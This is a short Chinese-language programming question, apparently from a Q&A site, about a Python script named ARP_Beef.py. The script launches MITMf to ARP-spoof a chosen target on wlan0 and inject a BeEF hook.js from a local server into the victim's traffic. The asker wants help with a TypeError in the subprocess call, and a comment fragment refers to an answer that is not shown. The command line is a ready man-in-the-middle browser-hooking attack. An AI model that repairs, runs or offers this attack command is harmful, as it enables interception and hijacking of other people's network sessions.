我的代码是:无法运行CMD子进程不断得到错误
#! /usr/bin/env python
ip_addr = raw_input("Enter your target IP: ")
gateway = raw_input("Enter your gateway IP: ")
from subprocess import call
import subprocess
import os
os.chdir("/usr/share/mitmf/")
subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
和我出来说就是:
Traceback (most recent call last):
File "./ARP_Beef.py", line 11, in <module>
subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'
我无法弄清楚什么是错的。可有一个人帮我
这看起来像它会工作,但没有解释提问者错误的原因。 –